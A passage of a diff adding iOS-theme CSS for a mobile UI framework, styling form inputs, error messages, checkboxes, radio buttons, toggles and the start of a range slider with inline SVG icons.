+ margin-bottom: -8px; +} +.ios .inline-labels .item-inner, +.ios .inline-label .item-inner { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.ios .inline-labels .item-label, +.ios .inline-label .item-label, +.ios .inline-labels .item-floating-label, +.ios .inline-label .item-floating-label { + font-size: 17px; + width: 35%; + line-height: 1.4; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; + padding-top: 3px; +} +.ios .inline-labels .item-label + .item-input-wrap, +.ios .inline-label .item-label + .item-input-wrap, +.ios .inline-labels .item-floating-label + .item-input-wrap, +.ios .inline-label .item-floating-label + .item-input-wrap { + margin-top: -8px; + margin-right: 5px; +} +.ios .inline-labels .item-input-wrap, +.ios .inline-label .item-input-wrap { + margin-top: -8px; +} +.ios .item-input-with-error-message .item-input-wrap input, +.ios div.input-with-error-message input, +.ios span.input-with-error-message input, +.ios .item-input-with-error-message .item-input-wrap select, +.ios div.input-with-error-message select, +.ios span.input-with-error-message select, +.ios .item-input-with-error-message .item-input-wrap textarea, +.ios div.input-with-error-message textarea, +.ios span.input-with-error-message textarea { + color: #ff3b30; +} +.ios .item-input-error-message, +.ios .item-input-info, +.ios .input-error-message, +.ios .input-info { + font-size: 12px; + line-height: 1.4; + position: relative; + margin-bottom: 6px; + margin-top: -8px; +} +.ios .item-input-info, +.ios .input-info { + color: #8e8e93; +} +.ios .item-input-error-message, +.ios .input-error-message { + color: #ff3b30; + display: none; +} +.ios .item-input-invalid .item-input-error-message { + display: block; +} +.ios .item-input-invalid .item-input-info { + display: none; +} +.ios .input-invalid .input-error-message { + display: block; +} +.ios .input-invalid .input-info { + display: none; +} +.ios .input-clear-button { + width: 14px; + height: 14px; + margin-top: -7px; +} +.ios .input-clear-button:after { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%238e8e93'%2F%3E%3Cline%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23ffffff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-size: 14px 14px; +} +.ios .input-clear-button:before { + width: 44px; + height: 44px; + margin-left: -22px; + margin-top: -22px; +} +.ios .item-input-wrap .input-clear-button { + top: 22px; +} +.ios .theme-dark .list input[type="text"], +.list.ios .theme-dark input[type="text"], +.ios .theme-dark .list input[type="password"], +.list.ios .theme-dark input[type="password"], +.ios .theme-dark .list input[type="search"], +.list.ios .theme-dark input[type="search"], +.ios .theme-dark .list input[type="email"], +.list.ios .theme-dark input[type="email"], +.ios .theme-dark .list input[type="tel"], +.list.ios .theme-dark input[type="tel"], +.ios .theme-dark .list input[type="url"], +.list.ios .theme-dark input[type="url"], +.ios .theme-dark .list input[type="date"], +.list.ios .theme-dark input[type="date"], +.ios .theme-dark .list input[type="datetime-local"], +.list.ios .theme-dark input[type="datetime-local"], +.ios .theme-dark .list input[type="time"], +.list.ios .theme-dark input[type="time"], +.ios .theme-dark .list input[type="number"], +.list.ios .theme-dark input[type="number"], +.ios .theme-dark .list select, +.list.ios .theme-dark select { + color: #fff; +} +.ios .theme-dark .list textarea, +.list.ios .theme-dark textarea { + color: #fff; +} +/* === Checkbox === */ +.icon-checkbox, +.checkbox i { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.checkbox { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-checkbox, +.checkbox { + cursor: pointer; +} +label.item-checkbox input[type="checkbox"], +.checkbox input[type="checkbox"], +label.item-checkbox input[type="radio"], +.checkbox input[type="radio"] { + display: none; +} +label.item-checkbox .icon-checkbox, +.checkbox .icon-checkbox { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-checkbox .icon-checkbox:after, +.checkbox .icon-checkbox:after { + content: ''; + position: absolute; +} +label.item-checkbox { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-checkbox.active-state:after { + background-color: transparent; +} +label.item-checkbox.disabled, +.disabled label.item-checkbox { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-checkbox, +.ios .checkbox i { + width: 22px; + height: 22px; + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios .icon-checkbox:after, +.ios .checkbox i:after { + left: 50%; + top: 50%; + margin-left: -6px; + margin-top: -4px; + width: 12px; + height: 9px; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox input[type="checkbox"]:checked ~ i { + border: none; + background: #007aff; +} +.ios label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox:after, +.ios .checkbox input[type="checkbox"]:checked ~ i:after { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20x%3D'0px'%20y%3D'0px'%20viewBox%3D'0%200%2012%209'%20xml%3Aspace%3D'preserve'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'12%2C0.7%2011.3%2C0%203.9%2C7.4%200.7%2C4.2%200%2C4.9%203.9%2C8.8%203.9%2C8.8%203.9%2C8.8%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 12px 9px; +} +.ios label.item-checkbox > .icon-checkbox { + margin-left: 15px; +} +.ios label.item-checkbox .item-content .item-media, +.ios label.item-checkbox.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-checkbox.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .theme-dark label.item-checkbox.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-red .checkbox input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios .color-theme-green label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-green .checkbox input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios .color-theme-blue label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-blue .checkbox input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios .color-theme-pink label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-pink .checkbox input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios .color-theme-yellow label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-yellow .checkbox input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios .color-theme-orange label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-orange .checkbox input[type="checkbox"]:checked ~ i { + background: #ff9500; +} +.ios .color-theme-gray label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-gray .checkbox input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios .color-theme-white label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-white .checkbox input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios .color-theme-black label.item-checkbox input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .color-theme-black .checkbox input[type="checkbox"]:checked ~ i { + background: #000000; +} +.ios label.item-checkbox.color-red input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-red input[type="checkbox"]:checked ~ i { + background: #ff3b30; +} +.ios label.item-checkbox.color-green input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-green input[type="checkbox"]:checked ~ i { + background: #4cd964; +} +.ios label.item-checkbox.color-blue input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-blue input[type="checkbox"]:checked ~ i { + background: #007aff; +} +.ios label.item-checkbox.color-pink input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-pink input[type="checkbox"]:checked ~ i { + background: #ff2d55; +} +.ios label.item-checkbox.color-yellow input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-yellow input[type="checkbox"]:checked ~ i { + background: #ffcc00; +} +.ios label.item-checkbox.color-orange input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-orange input[type="checkbox"]:checked ~ i { + background: #ff9500; +} +.ios label.item-checkbox.color-gray input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-gray input[type="checkbox"]:checked ~ i { + background: #8e8e93; +} +.ios label.item-checkbox.color-white input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-white input[type="checkbox"]:checked ~ i { + background: #ffffff; +} +.ios label.item-checkbox.color-black input[type="checkbox"]:checked ~ .icon-checkbox, +.ios .checkbox.color-black input[type="checkbox"]:checked ~ i { + background: #000000; +} +/* === Radio === */ +.icon-radio { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.radio { + position: relative; + display: inline-block; + vertical-align: middle; + z-index: 1; +} +label.item-radio, +.radio { + cursor: pointer; +} +label.item-radio input[type="checkbox"], +.radio input[type="checkbox"], +label.item-radio input[type="radio"], +.radio input[type="radio"] { + display: none; +} +label.item-radio .icon-radio, +.radio .icon-radio { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + display: block; +} +label.item-radio .icon-radio:after, +.radio .icon-radio:after { + content: ''; + position: absolute; +} +label.item-radio { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +label.item-radio.active-state:after { + background-color: transparent; +} +label.item-radio.disabled, +.disabled label.item-radio { + opacity: 0.55; + pointer-events: none; + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios .icon-radio { + width: 22px; + height: 22px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; +} +.ios .radio .icon-radio { + border-radius: 50%; + border: 1px solid #c7c7cc; +} +.ios label.item-radio input[type="radio"] ~ .icon-radio { + position: absolute; + top: 50%; + margin-top: -11px; + left: 10px; +} +.ios label.item-radio .item-inner { + padding-left: 35px; +} +.ios label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .radio input[type="radio"]:checked ~ .icon-radio { + background: no-repeat center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 10px; +} +.ios .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio .item-content .item-media, +.ios label.item-radio.item-content .item-media { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.ios label.item-radio.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .ios-edges label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .popup label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .sheet-modal label.item-radio input[type="radio"] ~ .icon-radio, + .ios.device-iphone-x .panel-left label.item-radio input[type="radio"] ~ .icon-radio { + left: calc(10px + constant(safe-area-inset-left)); + left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .ios-edges label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .popup label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .sheet-modal label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner, + .ios.device-iphone-x .panel-left label.item-radio .list:not(.inset):not(.tablet-inset) .item-inner { + padding-left: calc(35px + constant(safe-area-inset-left)); + padding-left: calc(35px + env(safe-area-inset-left)); + } +} +.ios .theme-dark label.item-radio.active-state { + background-color: #363636; +} +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-red label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-green label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-green .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-blue label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-blue .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-pink label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-pink .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-yellow label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-yellow .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-orange label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-orange .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-gray label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-gray .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-white label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-white .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ .icon-radio, +.ios .color-theme-black label.item-radio input[type="radio"]:checked ~ * .icon-radio, +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-black .radio input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +.ios label.item-radio.color-red input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-red input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-red input[type="radio"]:checked ~ .icon-radio { + border-color: #ff3b30; +} +.ios label.item-radio.color-green input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-green input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-green input[type="radio"]:checked ~ .icon-radio { + border-color: #4cd964; +} +.ios label.item-radio.color-blue input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-blue input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-blue input[type="radio"]:checked ~ .icon-radio { + border-color: #007aff; +} +.ios label.item-radio.color-pink input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-pink input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-pink input[type="radio"]:checked ~ .icon-radio { + border-color: #ff2d55; +} +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-yellow input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-yellow input[type="radio"]:checked ~ .icon-radio { + border-color: #ffcc00; +} +.ios label.item-radio.color-orange input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-orange input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-orange input[type="radio"]:checked ~ .icon-radio { + border-color: #ff9500; +} +.ios label.item-radio.color-gray input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-gray input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-gray input[type="radio"]:checked ~ .icon-radio { + border-color: #8e8e93; +} +.ios label.item-radio.color-white input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-white input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-white input[type="radio"]:checked ~ .icon-radio { + border-color: #ffffff; +} +.ios label.item-radio.color-black input[type="radio"]:checked ~ .icon-radio, +.ios label.item-radio.color-black input[type="radio"]:checked ~ * .icon-radio, +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .radio.color-black input[type="radio"]:checked ~ .icon-radio { + border-color: #000000; +} +/* === Toggle === */ +.toggle { + display: inline-block; + vertical-align: middle; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.toggle input[type="checkbox"] { + display: none; +} +.toggle input[disabled] ~ .toggle-icon { + pointer-events: none; +} +.toggle-icon { + z-index: 0; + margin: 0; + padding: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + position: relative; + -webkit-transition: 300ms; + transition: 300ms; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + cursor: pointer; +} +.toggle-icon:before, +.toggle-icon:after { + content: ''; +} +.toggle-icon:after { + background: #fff; + position: absolute; + z-index: 2; + -webkit-transform: translateX(0px); + transform: translateX(0px); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.ios .toggle { + width: 52px; + border-radius: 16px; + height: 32px; +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon { + background: #4cd964; +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle input[type="checkbox"]:checked + .toggle-icon:after { + -webkit-transform: translateX(-20px); + transform: translateX(-20px); +} +.ios .toggle-icon { + width: 52px; + border-radius: 16px; + height: 32px; + background: #e5e5e5; +} +.ios .toggle-icon:before { + position: absolute; + right: 2px; + top: 2px; + width: 48px; + height: 28px; + border-radius: 16px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + background: #fff; + z-index: 1; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: scale(1); + transform: scale(1); +} +.ios .toggle-icon:after { + height: 28px; + width: 28px; + top: 2px; + right: 2px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.3); + border-radius: 14px; +} +.ios .toggle-active-state input[type="checkbox"]:not(:checked) + .toggle-icon:before { + -webkit-transform: scale(0); + transform: scale(0); +} +.ios .toggle-active-state input[type="checkbox"] + .toggle-icon:after { + width: 35px; +} +.ios .toggle-active-state input[type="checkbox"]:checked + .toggle-icon:after { + width: 35px; + -webkit-transform: translateX(-13px); + transform: translateX(-13px); +} +.ios .theme-dark .toggle-icon { + background-color: #fff; +} +.ios .theme-dark .toggle-icon:before { + background-color: #1c1c1d; +} +.ios .toggle.color-red input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff3b30; +} +.ios .toggle.color-green input[type="checkbox"]:checked + .toggle-icon { + background-color: #4cd964; +} +.ios .toggle.color-blue input[type="checkbox"]:checked + .toggle-icon { + background-color: #007aff; +} +.ios .toggle.color-pink input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff2d55; +} +.ios .toggle.color-yellow input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffcc00; +} +.ios .toggle.color-orange input[type="checkbox"]:checked + .toggle-icon { + background-color: #ff9500; +} +.ios .toggle.color-gray input[type="checkbox"]:checked + .toggle-icon { + background-color: #8e8e93; +} +.ios .toggle.color-white input[type="checkbox"]:checked + .toggle-icon { + background-color: #ffffff; +} +.ios .toggle.color-black input[type="checkbox"]:checked + .toggle-icon { + background-color: #000000; +} +/* === Range Slider === */ +.range-slider { + display: block; + width: 100%; + position: relative; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.range-slider input[type="range"] { + display: none; +} +.range-bar { + position: absolute; + left: 0; + top: 50%; + width: 100%; + overflow: 